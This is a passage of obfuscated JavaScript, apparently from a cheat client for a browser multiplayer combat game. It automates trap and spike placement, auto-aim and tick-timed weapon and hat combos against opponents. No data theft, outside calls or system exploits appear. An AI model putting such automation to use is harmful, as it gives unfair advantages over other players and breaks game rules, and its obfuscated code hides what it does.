if (_0x1a3782) {
if (_0x2d48cd && _0x21c5b5.moveDir == undefined) {
return 6;
} else {
return 12;
}
}
_0x10d181(_0x2d48cd && _0x21c5b5.moveDir == undefined ? 6 : 12, 0);
}
if (_0x1a3782) {
return 0;
}
}
function _0x541ce7(_0x33428e) {
_0x10d181(_0x33428e && _0x21c5b5.moveDir == undefined ? 0 : 11, 1);
}
let _0x56ea4b = [];
class _0x1dbe47 {
constructor(_0x31c705, _0x292a0b) {
this.dist = 0;
this.aim = 0;
this.inTrap = false;
this.replaced = false;
this.antiTrapped = false;
this.info = {};
this.notFast = function () {
return _0x21c5b5.weapons[1] == 10 && (this.info.health >
_0x292a0b.weapons[_0x21c5b5.weapons[0]].dmg || _0x21c5b5.weapons[0] == 5);
};
this.testCanPlace = function (_0x1ebe67, _0x5975b1 = -(Math.PI / 2),
_0x192bc4 = Math.PI / 2, _0xf3806c = Math.PI / 18, _0x244cf5, _0x3435b1, _0x14cbbb)
{
try {
let _0x28a784 = _0x292a0b.list[_0x21c5b5.items[_0x1ebe67]];
let _0x3d826c = _0x21c5b5.scale + _0x28a784.scale +
(_0x28a784.placeOffset || 0);
let _0x580aad = {
attempts: 0,
placed: 0
};
let _0x28aa42 = [];
_0x57e617.forEach(_0x16ac10 => {
_0x28aa42.push({
x: _0x16ac10.x,
y: _0x16ac10.y,
active: _0x16ac10.active,
blocker: _0x16ac10.blocker,
scale: _0x16ac10.scale,
isItem: _0x16ac10.isItem,
type: _0x16ac10.type,
colDiv: _0x16ac10.colDiv,
getScale: function (_0x3e09ae, _0x4ba8f6) {
_0x3e09ae = _0x3e09ae || 1;
return this.scale * (this.isItem || this.type == 2 || this.type
== 3 || this.type == 4 ? 1 : _0x3e09ae * 0.6) * (_0x4ba8f6 ? 1 : this.colDiv);
}
});
});
for (let _0x2faf4f = _0x5975b1; _0x2faf4f < _0x192bc4; _0x2faf4f +=
_0xf3806c) {
_0x580aad.attempts++;
let _0xaf189f = _0x244cf5 + _0x2faf4f;
let _0x1e5d74 = _0x21c5b5.x2 + _0x3d826c * Math.cos(_0xaf189f);
let _0x836dc3 = _0x21c5b5.y2 + _0x3d826c * Math.sin(_0xaf189f);
let _0x15b110 = _0x28aa42.find(_0x252752 => _0x252752.active &&
_0x31c705.getDistance(_0x1e5d74, _0x836dc3, _0x252752.x, _0x252752.y) <
_0x28a784.scale + (_0x252752.blocker ? _0x252752.blocker : _0x252752.getScale(0.6,
_0x252752.isItem)));
if (_0x15b110) {
continue;
}
if (_0x28a784.id != 18 && _0x836dc3 >= _0x124d71.mapScale / 2 -
_0x124d71.riverWidth / 2 && _0x836dc3 <= _0x124d71.mapScale / 2 +
_0x124d71.riverWidth / 2) {
continue;
}
if (!_0x3435b1 && _0x14cbbb || _0x4f4659) {
if (_0x4f4659 ? false : _0x14cbbb.inTrap) {
if (_0x31c705.getAngleDist(_0x4e7604.aim2 + Math.PI, _0xaf189f
+ Math.PI) <= Math.PI) {
_0x458902(2, _0xaf189f, 1);
} else if (_0x21c5b5.items[4] == 15) {
_0x458902(4, _0xaf189f, 1);
}
} else if (_0x31c705.getAngleDist(_0x4e7604.aim2, _0xaf189f) <=
_0x124d71.gatherAngle / 1.5) {
_0x458902(2, _0xaf189f, 1);
} else if (_0x21c5b5.items[4] == 15) {
_0x458902(4, _0xaf189f, 1);
}
} else {
_0x458902(_0x1ebe67, _0xaf189f, 1);
}
_0x28aa42.push({
x: _0x1e5d74,
y: _0x836dc3,
active: true,
blocker: _0x28a784.blocker,
scale: _0x28a784.scale,
isItem: true,
type: null,
colDiv: _0x28a784.colDiv,
getScale: function () {
return this.scale;
}
});
if (_0x31c705.getAngleDist(_0x4e7604.aim2, _0xaf189f) <= 1) {
_0x580aad.placed++;
}
}
if (_0x580aad.placed > 0 && _0x3435b1 && _0x28a784.dmg) {
if (_0x4e7604.dist2 <=
_0x292a0b.weapons[_0x21c5b5.weapons[0]].range + _0x21c5b5.scale * 1.8 &&
_0x20bd10.spikeTick) {
_0x37a646.canSpikeTick = true;
}
}
} catch (_0xd71371) {}
};
this.checkSpikeTick = function () {
try {
if (![3, 4, 5].includes(_0x4e7604.primaryIndex)) {
return false;
}
if (getEl("safeAntiSpikeTick").checked || _0x8f1613.autoPush ?
false : _0x4e7604.primaryIndex == undefined ? true :
_0x4e7604.reloads[_0x4e7604.primaryIndex] > _0x450873.tickRate) {
return false;
}
if (_0x4e7604.dist2 <= _0x292a0b.weapons[_0x4e7604.primaryIndex ||
5].range + _0x4e7604.scale * 1.8) {
let _0x3f3f86 = _0x292a0b.list[9];
let _0x13b756 = _0x4e7604.scale + _0x3f3f86.scale +
(_0x3f3f86.placeOffset || 0);
let _0x1d7e82 = 0;
let _0x4ee065 = {
attempts: 0,
block: "unblocked"
};
for (let _0x1ee6d1 = -1; _0x1ee6d1 <= 1; _0x1ee6d1 += 1 / 10) {
_0x4ee065.attempts++;
let _0x1e41ce = _0x31c705.getDirect(_0x21c5b5, _0x4e7604, 2, 2) +
_0x1ee6d1;
let _0x1276a0 = _0x4e7604.x2 + _0x13b756 * Math.cos(_0x1e41ce);
let _0x1c0ef8 = _0x4e7604.y2 + _0x13b756 * Math.sin(_0x1e41ce);
let _0x564a57 = _0x57e617.find(_0x8ff73a => _0x8ff73a.active &&
_0x31c705.getDistance(_0x1276a0, _0x1c0ef8, _0x8ff73a.x, _0x8ff73a.y) <
_0x3f3f86.scale + (_0x8ff73a.blocker ? _0x8ff73a.blocker : _0x8ff73a.getScale(0.6,
_0x8ff73a.isItem)));
if (_0x564a57) {
continue;
}
if (_0x1c0ef8 >= _0x124d71.mapScale / 2 - _0x124d71.riverWidth /
2 && _0x1c0ef8 <= _0x124d71.mapScale / 2 + _0x124d71.riverWidth / 2) {
continue;
}
_0x1d7e82++;
_0x4ee065.block = "blocked";
break;
}
if (_0x1d7e82) {
_0x8f1613.anti0Tick = 2;
return true;
}
}
} catch (_0x32f529) {
return null;
}
return false;
};
this.protect = function (_0x1fb9c5) {
if (!_0x20bd10.antiTrap) {
return;
}
if (_0x21c5b5.items[4]) {
this.testCanPlace(4, -(Math.PI / 2), Math.PI / 2, Math.PI / 18,
_0x1fb9c5 + Math.PI);
this.antiTrapped = true;
}
};
function _0xf4a19a() {}
this.testPrePlace = function () {};
this.autoPlace = function () {
if (getEl("autoPlacetype").value == "spamtrap2") {
if (_0x450873.tick % 0.5 === 0) {
try {
if (_0x20bd10.autoPlace) {
const _0x5e8f71 = _0x4e7604.dist2;
const _0x5520fb = _0x57e617.filter(_0x1dfab2 => _0x1dfab2.trap
&& _0x1dfab2.active).sort((_0x2efe60, _0x381e52) => _0x31c705.getDist(_0x2efe60,
_0x4e7604, 0, 2) - _0x31c705.getDist(_0x381e52, _0x4e7604, 0, 2)).find(_0x482a7d =>
{
const _0x223e35 = Math.hypot(_0x482a7d.y - _0x4e7604.y2,
_0x482a7d.x - _0x4e7604.x2);
return _0x482a7d !== _0x21c5b5 && (_0x21c5b5.sid ===
_0x482a7d.owner.sid || _0x36621b(_0x482a7d.owner.sid)) && _0x223e35 <=
_0x4e7604.scale * 1.8;
});
if (_0x5520fb && _0x4e7604.dist2 <= 250) {
_0x3a4bd0(2, Math.atan2(_0x21c5b5.y - _0x5520fb.y,
_0x21c5b5.x - _0x5520fb.x) + Math.PI);
} else if (!_0x5520fb && _0x5e8f71 <= 400) {
if (_0x5e8f71 < 200) {
for (let _0x8c293f = -55; _0x8c293f < 55; _0x8c293f += 55)
{
_0x3a4bd0(2, _0x4e7604.aim2 + _0x37f7e2(_0x8c293f));
}
}
if (_0x5e8f71 >= 200) {
for (let _0x4b4296 = -90; _0x4b4296 < 270; _0x4b4296 += 90)
{
_0x3a4bd0(4, _0x4e7604.aim2 + _0x37f7e2(_0x4b4296));
}
}
}
}
} catch (_0x57d256) {}
}
}
};
this.autoPlace = function () {
if (_0x462a20.length && _0x20bd10.autoPlace && !_0x37a646.ticking) {
if (getEl("autoPlacetype").value == "spamtrap") {
if (_0x450873.tick % (Math.max(1,
parseInt(getEl("autoPlaceTick").value)) || 1) === 0) {
if (_0x57e617.length) {
let _0xf1bc6c = {
inTrap: false
};
let _0x46f497 = _0x57e617.filter(_0x4d0353 => _0x4d0353.trap &&
_0x4d0353.active && _0x4d0353.isTeamObject(_0x21c5b5) &&
_0x31c705.getDist(_0x4d0353, _0x4e7604, 0, 2) <= _0x4e7604.scale +
_0x4d0353.getScale() + 5).sort(function (_0x30f3a3, _0x2efb80) {
return _0x31c705.getDist(_0x30f3a3, _0x4e7604, 0, 2) -
_0x31c705.getDist(_0x2efb80, _0x4e7604, 0, 2);
})[0];
if (_0x46f497) {
_0xf1bc6c.inTrap = true;
} else {
_0xf1bc6c.inTrap = false;
}
if (testMode ? _0x462a20.length : _0x4e7604.dist2 <= 300) {
if (_0x4e7604.dist2 <= 200) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24,
_0x4e7604.aim2, 0, {
inTrap: _0xf1bc6c.inTrap
});
} else if (_0x21c5b5.items[4] == 15) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24,
_0x4e7604.aim2);
}
}
} else if (testMode ? _0x462a20.length : _0x4e7604.dist2 <= 300)
{
if (_0x21c5b5.items[4] == 15) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24,
_0x4e7604.aim2);
}
}
}
}
}
};
this.autoPlace = function () {
if (getEl("autoPlacetype").value == "ramdomplc") {
try {
const _0x3c0b99 = _0x4e7604.dist2;
const _0xcd4e0a = _0x57e617.filter(_0x271a89 => _0x271a89.trap &&
_0x271a89.active).sort((_0x271d07, _0x2c5a4d) => _0x31c705.getDist(_0x271d07,
_0x4e7604, 0, 2) - _0x31c705.getDist(_0x2c5a4d, _0x4e7604, 0, 2)).find(_0x276b70 =>
{
const _0x1ba6a = Math.hypot(_0x276b70.y - _0x4e7604.y2,
_0x276b70.x - _0x4e7604.x2);
return _0x276b70 !== _0x21c5b5 && (_0x21c5b5.sid ===
_0x276b70.owner.sid || _0x36621b(_0x276b70.owner.sid)) && _0x1ba6a <=
_0x4e7604.scale * 1.8;
});
if (_0xcd4e0a && _0x4e7604.dist2 <= 250) {
const _0x5c9963 = Math.atan2(_0x21c5b5.y - _0xcd4e0a.y,
_0x21c5b5.x - _0xcd4e0a.x);
_0x3a4bd0(2, _0x5c9963 + Math.PI);
} else if (!_0xcd4e0a && _0x3c0b99 <= 300) {
if (_0x3c0b99 < 200) {
const _0x3385a4 = Math.PI / 6;
const _0x492022 = Math.min(1, Math.max(0, (_0x3c0b99 - 150) /
130));
const _0x5c0382 = _0x3385a4 * _0x492022;
for (let _0x3d19c3 = -55; _0x3d19c3 < 55; _0x3d19c3 += 55) {
const _0x496cf1 = _0x1dfded(_0x4e7604.x2, _0x4e7604.y2,
_0x21c5b5.x2, _0x21c5b5.y2);
_0x3a4bd0(2, _0x496cf1 + _0x5c0382 + _0x37f7e2(_0x3d19c3));
}
}
if (_0x3c0b99 >= 200) {
const _0x19a54c = Math.PI / 6;
const _0x4f6253 = Math.min(1, Math.max(0, (_0x3c0b99 - 150) /
130));
const _0x3f255a = _0x19a54c * _0x4f6253;
for (let _0x4382f6 = -90; _0x4382f6 < 270; _0x4382f6 += 90) {
const _0x2da5ec = _0x1dfded(_0x4e7604.x2, _0x4e7604.y2,
_0x21c5b5.x2, _0x21c5b5.y2);
_0x3a4bd0(4, _0x2da5ec + _0x3f255a + _0x37f7e2(_0x4382f6));
}
}
}
} catch (_0x5661a6) {}
}
;
};
this.autoPlace = function () {
if (_0x20bd10.autoPlace && _0x450873.tick % (Math.max(1,
parseInt(getEl("autoPlaceTick").value)) || 1) === 0) {
if (getEl("autoPlacetype").value == "aiplace") {
try {
const _0x21c81b = _0x57e617.filter(_0x38f476 => _0x38f476.trap &&
_0x38f476.active).sort((_0x1c0d14, _0x31d085) => _0x31c705.getDist(_0x1c0d14,
_0x4e7604, 0, 2) - _0x31c705.getDist(_0x31d085, _0x4e7604, 0, 2)).find(_0x4ec28b =>
{
const _0x2d3f61 = Math.hypot(_0x4ec28b.y - _0x4e7604.y2,
_0x4ec28b.x - _0x4e7604.x2);
return _0x4ec28b !== _0x21c5b5 && (_0x21c5b5.sid ===
_0x4ec28b.owner.sid || _0x36621b(_0x4ec28b.owner.sid)) && _0x2d3f61 <= 50;
});
if (this.inTrap) {
let _0x44c6e3 = Math.PI / Math.floor(Math.random() * 11) + 10;
this.testCanPlace(4, -(Math.PI / 2), Math.PI / 2, _0x44c6e3,
_0x4e7604.aim2);
} else if (_0x21c81b && _0x4e7604.dist2 <= 180) {
const _0x15fa08 = _0x21c81b.x;
const _0x3e858c = _0x21c81b.y;
const _0x4f59a2 = 102;
const _0x175e24 = 64;
for (let _0x37403d = 0; _0x37403d < _0x175e24; _0x37403d++) {
const _0xd5565d = Math.PI * 2 * _0x37403d / _0x175e24;
const _0x439d2c = _0x15fa08 + _0x4f59a2 *
Math.cos(_0xd5565d);
const _0x43683f = _0x3e858c + _0x4f59a2 *
Math.sin(_0xd5565d);
const _0x2ed16b = [_0x439d2c, _0x43683f];
const _0x4ab0cf = Math.hypot(_0x2ed16b[0] - _0x21c5b5.x2,
_0x2ed16b[1] - _0x21c5b5.y2);
if (_0x1e29d4(_0x2ed16b) && _0x4ab0cf <= 87) {
const _0x402262 = Math.atan2(_0x2ed16b[1] - _0x21c5b5.y2,
_0x2ed16b[0] - _0x21c5b5.x2);
_0x3a4bd0(2, _0x402262);
}
}
} else if (!_0x21c81b && _0x4e7604.dist2 <= 206) {
const _0x27040d = 3;
const _0x3d4845 = 50;
const _0x3defe9 = _0x2eecc2(_0x21c5b5.x2, _0x21c5b5.y2,
_0x3d4845);
let _0x12dfac = 0;
for (const _0xddb497 of _0x3defe9) {
if (_0x12dfac < _0x27040d && _0x1e29d4(_0xddb497)) {
_0x3a4bd0(4, ..._0xddb497);
_0x12dfac++;
}
}
}
} catch (_0x519a3f) {
console.log(_0x519a3f);
}
}
}
;
};
this.autoPlace = function () {
if (_0x462a20.length && _0x20bd10.autoPlace && !_0x37a646.ticking) {
if (_0x450873.tick % (Math.max(1,
parseInt(getEl("autoPlaceTick").value)) || 1) === 0) {
if (_0x57e617.length) {
let _0x258da1 = {
inTrap: false
};
let _0x10bfbd = _0x57e617.filter(_0x21c518 => _0x21c518.trap &&
_0x21c518.active && _0x21c518.isTeamObject(_0x21c5b5) &&
_0x31c705.getDist(_0x21c518, _0x4e7604, 0, 2) <= _0x4e7604.scale +
_0x21c518.getScale() + 5).sort(function (_0x1125bb, _0x25531f) {
return _0x31c705.getDist(_0x1125bb, _0x4e7604, 0, 2) -
_0x31c705.getDist(_0x25531f, _0x4e7604, 0, 2);
})[0];
if (_0x10bfbd) {
_0x258da1.inTrap = true;
} else {
_0x258da1.inTrap = false;
}
if (_0x4e7604.dist3 <= 450) {
if (_0x4e7604.dist3 <= 200) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24,
_0x4e7604.aim2, 0, {
inTrap: _0x258da1.inTrap
});
} else if (_0x21c5b5.items[4] == 15) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24,
_0x4e7604.aim2);
}
}
} else if (_0x4e7604.dist3 <= 450) {
if (_0x21c5b5.items[4] == 15) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24,
_0x4e7604.aim2);
}
}
}
}
};
this.autoplace = function () {
let _0x2e10f1 = {
x: undefined,
y: undefined
};
if (getEl("autoPlacetype").value == "magicplace") {
let _0x219fb5 = [];
let _0x545c65 = Math.random() * Math.PI * 2;
if (_0x57e617.length && _0x462a20.length) {
let _0x17e5e7 = {
inTrap: false
};
_0x219fb5 = _0x57e617.filter(_0x143cfe =>
_0x143cfe.trap).sort(function (_0xc77f3f, _0x2c3825) {
return _0x31c705.getDist(_0xc77f3f, _0x4e7604, 0, 2) -
_0x31c705.getDist(_0x2c3825, _0x4e7604, 0, 2);
})[0];
let _0x31ddd7 = _0x57e617.filter(_0x32dab4 => _0x32dab4.trap &&
_0x32dab4.active && _0x32dab4.isTeamObject(_0x21c5b5) &&
_0x31c705.getDist(_0x32dab4, _0x4e7604, 0, 2) <= _0x4e7604.scale +
_0x32dab4.getScale() + 5).sort(function (_0x594d5b, _0x52a166) {
return _0x31c705.getDist(_0x594d5b, _0x4e7604, 0, 2) -
_0x31c705.getDist(_0x52a166, _0x4e7604, 0, 2);
})[0];
let _0x5910dd = {
inTrap: false
};
if (_0x31ddd7) {
_0x5910dd.inTrap = true;
} else {
_0x5910dd.inTrap = false;
}
if (_0x219fb5) {
if ((_0x21c5b5.sid == _0x219fb5.owner.sid || !!
_0x36621b(_0x219fb5.owner.sid)) && _0x31c705.getDist(_0x219fb5, _0x4e7604, 0, 2) <=
70 && _0x219fb5.active) {
_0x17e5e7.inTrap = true;
} else {
_0x17e5e7.inTrap = false;
}
if (_0x4e7604.dist2 <= 600) {
if (_0x17e5e7.inTrap || _0x4e7604.dist2 <= 60 +
_0x4e7604.scale) {
if (_0x4e7604.dist2 <= 250) {
for (let _0x26a37a = 0; _0x26a37a < Math.PI * 2; _0x26a37a
+= Math.PI / 1.5) {
_0x3a4bd0(2, _0x4e7604.aim2 + _0x26a37a);
}
} else {
for (let _0x4a58d6 = Math.PI / 1.5; _0x4a58d6 < Math.PI *
2; _0x4a58d6 += Math.PI / 1.5) {
_0x3a4bd0(2, _0x4e7604.aim2 + _0x4a58d6);
}
}
} else if (_0x21c5b5.items[4] == 15) {
if (_0x4e7604.dist2 <= 200) {
for (let _0x3f8303 = 0; _0x3f8303 < Math.PI * 2; _0x3f8303
+= Math.PI / 2) {
_0x3a4bd0(4, _0x545c65 + _0x3f8303);
}
}
}
}
} else if (_0x4e7604.dist2 <= 400) {
if (_0x21c5b5.items[4] == 15) {
_0x3a4bd0(4, _0x4e7604.aim2);
}
}
}
}
};
function _0x1dfded(_0x23b554, _0x328bdb, _0x4e059e, _0x5d9b77) {
return Math.atan2(_0x5d9b77 - _0x328bdb, _0x4e059e - _0x23b554);
}
this.replacer = function (_0x4a64e6) {
if (!_0x4a64e6 || !_0x20bd10.autoReplace) {
return;
}
if (!_0x1f3dc7) {
return;
}
if (this.antiTrapped) {
return;
}
_0x450873.tickBase(() => {
let _0x4ba9fb = _0x31c705.getDirect(_0x4a64e6, _0x21c5b5, 0, 2);
let _0x4eb5a9 = _0x31c705.getDist(_0x4a64e6, _0x21c5b5, 0, 2);
if (getEl("weaponGrind").checked && _0x4eb5a9 <=
_0x292a0b.weapons[_0x21c5b5.weaponIndex].range + _0x21c5b5.scale) {
return;
}
if (_0x4eb5a9 <= 400 && _0x4e7604.dist2 <= 400) {
let _0x13e939 = this.checkSpikeTick();
if (!_0x13e939 && _0x4e7604.dist2 <=
_0x292a0b.weapons[_0x4e7604.primaryIndex || 5].range + _0x4e7604.scale * 1.8) {
this.testCanPlace(2, 0, Math.PI * 2, Math.PI / 24, _0x4ba9fb, 1);
} else if (_0x21c5b5.items[4] == 15) {
this.testCanPlace(4, 0, Math.PI * 2, Math.PI / 24, _0x4ba9fb, 1);
}
this.replaced = true;
}
}, 1);
};
}
}
;
class _0x4f5aae {
constructor() {
this.wait = false;
this.can = false;
this.isTrue = false;
this.nobull = false;
this.ticking = false;
this.canSpikeTick = false;
this.startTick = false;
this.readyTick = false;
this.canCounter = false;
this.revTick = false;
this.syncHit = false;
this.changeType = function (_0x57acd3) {
if (!this.can) {
return;
}
this.wait = false;
this.isTrue = true;
_0x8f1613.autoAim = true;
let _0x1158d9 = [_0x57acd3];
let _0x4afd40 = _0x4e7604.backupNobull;
_0x4e7604.backupNobull = false;
_0x450873.tickBase(() => {
_0x1158d9.push(_0x21c5b5.skinIndex);
_0x450873.tickBase(() => {
if (_0x4e7604.skinIndex == 22 && getEl("backupNobull").checked) {
_0x4e7604.backupNobull = true;
}
_0x1158d9.push(_0x21c5b5.skinIndex);
}, 1);
}, 1);
if (_0x57acd3 == "rev") {
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x5cea41();
_0x450873.tickBase(() => {
if (_0x4e7604.dist2 <= 140) {
_0x458902(2, _0x5e0191());
}
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
}, 1);
} else if (_0x57acd3 == "nobull") {
_0x8770b0(_0x21c5b5.weapons[0]);
if (getEl("backupNobull").checked && _0x4afd40) {
_0x10d181(7, 0);
_0x10d181(18, 1);
} else {
_0x10d181(6, 0);
_0x10d181(21, 1);
}
_0x5cea41();
_0x450873.tickBase(() => {
if (_0x4e7604.skinIndex == 22) {
if (getEl("backupNobull").checked) {
_0x4e7604.backupNobull = true;
}
_0x10d181(6, 0);
_0x10d181(21, 1);
} else {
_0x10d181(53, 0);
}
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
}, 1);
} else if (_0x57acd3 == "normal") {
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(18, 1);
_0x5cea41();
_0x450873.tickBase(() => {
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(_0x21c5b5.reloads[53] == 0 ? 53 : 6, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
}, 1);
} else {
setTimeout(() => {
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 50);
}
};
this.spikeTickType = function () {
this.isTrue = true;
_0x8f1613.autoAim = true;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(21, 1);
_0x5cea41();
_0x450873.tickBase(() => {
if (_0x21c5b5.reloads[53] == 0 && getEl("turretCombat").checked) {
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
} else {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}
}, 1);
};
this.counterType = function () {
this.isTrue = true;
_0x8f1613.autoAim = true;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(21, 1);
_0x5cea41();
_0x450873.tickBase(() => {
if (_0x21c5b5.reloads[53] == 0 && getEl("turretCombat").checked) {
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
} else {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}
}, 1);
};
this.antiCounterType = function () {
_0x8f1613.autoAim = true;
this.isTrue = true;
inantiantibull = true;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(6, 0);
_0x10d181(21, 1);
_0x229ae3.send("D", _0x4e7604.aim2);
_0x5cea41();
_0x450873.tickBase(() => {
_0x10d181(_0x21c5b5.reloads[53] == 0 ? _0x21c5b5.skins[53] ? 53 : 6 :
6, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
inantiantibull = false;
}, 1);
}, 1);
};
this.rangeType = function (_0x2a1634) {
this.isTrue = true;
_0x8f1613.autoAim = true;
if (_0x2a1634 == "ageInsta") {
_0x8f1613.ageInsta = false;
if (_0x21c5b5.items[5] == 18) {
_0x458902(5, _0x4e7604.aim2);
}
_0x4c5fd1("a", undefined, 1);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x5cea41();
_0x450873.tickBase(() => {
_0xbc00c6(12);
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0xbc00c6(15);
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(53, 0);
_0x10d181(21, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
}, 1);
}, 1);
}, 2);
} else {
_0x8770b0(_0x21c5b5.weapons[1]);
if (_0x21c5b5.reloads[53] == 0 && _0x4e7604.dist2 <= 700 &&
_0x4e7604.skinIndex != 22) {
_0x10d181(53, 0);
} else {
_0x10d181(20, 0);
}
_0x10d181(19, 1);
_0x5cea41();
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
}, 1);
}
};
this.oneTickType = function () {
this.isTrue = true;
_0x8f1613.autoAim = true;
_0x6f2b76();
_0x10d181(19, 1);
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
if (_0x21c5b5.weapons[1] == 15) {
_0x8f1613.revAim = true;
}
_0x8770b0(_0x21c5b5.weapons[[15].includes(_0x21c5b5.weapons[1]) ? 1 :
0]);
_0x10d181(53, 0);
_0x10d181(19, 1);
if ([15].includes(_0x21c5b5.weapons[1])) {
_0x5cea41();
}
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x8f1613.revAim = false;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(19, 1);
if (![15].includes(_0x21c5b5.weapons[1])) {
_0x5cea41();
}
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
_0x4c5fd1("a", undefined, 1);
}, 1);
}, 1);
}, 1);
};
this.threeOneTickType = function () {
this.isTrue = true;
_0x8f1613.autoAim = true;
_0x8770b0(_0x21c5b5.weapons[[10, 14].includes(_0x21c5b5.weapons[1]) ? 1
: 0]);
_0x6f2b76();
_0x10d181(19, 1);
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x8770b0(_0x21c5b5.weapons[[10, 14].includes(_0x21c5b5.weapons[1]) ?
1 : 0]);
_0x10d181(53, 0);
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x5cea41();
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
_0x4c5fd1("a", undefined, 1);
}, 1);
}, 1);
}, 1);
};
this.kmTickType = function () {
this.isTrue = true;
_0x8f1613.autoAim = true;
_0x8f1613.revAim = true;
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(53, 0);
_0x10d181(19, 1);
_0x5cea41();
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x8f1613.revAim = false;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(19, 1);
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
_0x4c5fd1("a", undefined, 1);
}, 1);
}, 1);
};
this.boostTickType = function () {
this.isTrue = true;
_0x8f1613.autoAim = true;
_0x6f2b76();
_0x10d181(19, 1);
_0x4c5fd1("a", undefined, 1);
_0x458902(4, _0x4e7604.aim2);
_0x450873.tickBase(() => {
if (_0x21c5b5.weapons[1] == 15) {
_0x8f1613.revAim = true;
}
_0x8770b0(_0x21c5b5.weapons[[9, 12, 13,
15].includes(_0x21c5b5.weapons[1]) ? 1 : 0]);
_0x10d181(53, 0);
_0x10d181(19, 1);
if ([9, 12, 13, 15].includes(_0x21c5b5.weapons[1])) {
_0x5cea41();
}
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x8f1613.revAim = false;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(19, 1);
if (![9, 12, 13, 15].includes(_0x21c5b5.weapons[1])) {
_0x5cea41();
}
_0x4c5fd1("a", _0x4e7604.aim2, 1);
_0x450873.tickBase(() => {
_0x5cea41();
this.isTrue = false;
_0x8f1613.autoAim = false;
_0x4c5fd1("a", undefined, 1);
}, 1);
}, 1);
}, 1);
};
this.gotoGoal = function (_0x298718, _0xb4ac72) {
let _0xd3084f = _0x3fc2c1 => _0x3fc2c1 * _0x124d71.playerScale;
let _0x2a3258 = {
a: _0x298718 - _0xb4ac72,
b: _0x298718 + _0xb4ac72,
c: _0x298718 - _0xd3084f(1),
d: _0x298718 + _0xd3084f(1),
e: _0x298718 - _0xd3084f(2),
f: _0x298718 + _0xd3084f(2),
g: _0x298718 - _0xd3084f(4),
h: _0x298718 + _0xd3084f(4)
};
let _0x40b55e = function (_0x4bf097, _0x48cd6f) {
if (_0x21c5b5.y2 >= _0x124d71.mapScale / 2 - _0x124d71.riverWidth / 2
&& _0x21c5b5.y2 <= _0x124d71.mapScale / 2 + _0x124d71.riverWidth / 2 && _0x48cd6f
== 0) {
_0x10d181(31, 0);
} else {
_0x10d181(_0x4bf097, _0x48cd6f);
}
};
if (_0x462a20.length) {
let _0x4a0483 = _0x4e7604.dist2;
this.ticking = true;
if (_0x4a0483 >= _0x2a3258.a && _0x4a0483 <= _0x2a3258.b) {
_0x40b55e(22, 0);
_0x40b55e(11, 1);
if (_0x21c5b5.weaponIndex != _0x21c5b5.weapons[[10,
